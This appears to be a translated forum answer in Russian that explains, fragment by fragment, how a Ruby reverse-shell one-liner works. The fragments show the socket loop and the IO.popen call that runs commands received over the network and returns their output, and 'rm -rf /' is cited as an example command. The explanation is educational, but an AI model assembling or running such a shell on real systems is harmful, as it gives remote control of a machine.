ОК, давайте разберемся с этим.
ruby
запускает интерпретатор ruby, вы, вероятно, знали, что часть
-rsocket
эквивалентен require "socket"
(r
для запроса)
-e "some string"
запустить some string
как скрипт ruby (e
для выполнения)
while(cmd=c.gets)
говорит "пока gets
(получить строку до и включая следующий символ новой строки) возвращает что-то из соединения c
, то есть, когда поступают данные, присвойте это cmd
и ..
IO.popen(cmd,'r'){|io|c.print io.read}
.. запустите cmd
в качестве команды оболочки, прочитайте вывод и print
верните его на соединение c
.
Таким образом, по сути, получите команду (например, ls .
или rm -rf /
) по сети, прочитайте ее, запустите, возьмите выходные данные и отправьте их обратно. Продолжайте так до тех пор, пока другая сторона не прекратит посылать команды.
Поскольку gets
заблокирует и будет ждать поступления следующей строки, этот однострочный текст будет находиться там в ожидании, пока соединение не будет закрыто.
Вероятно, не хотят позволять другим людям отправлять команды по этому соединению, так как оно будет запускать все, что они посылают прямо на ваш компьютер, хотя это, вероятно, означает, что вы подразумеваете под "обратной оболочкой".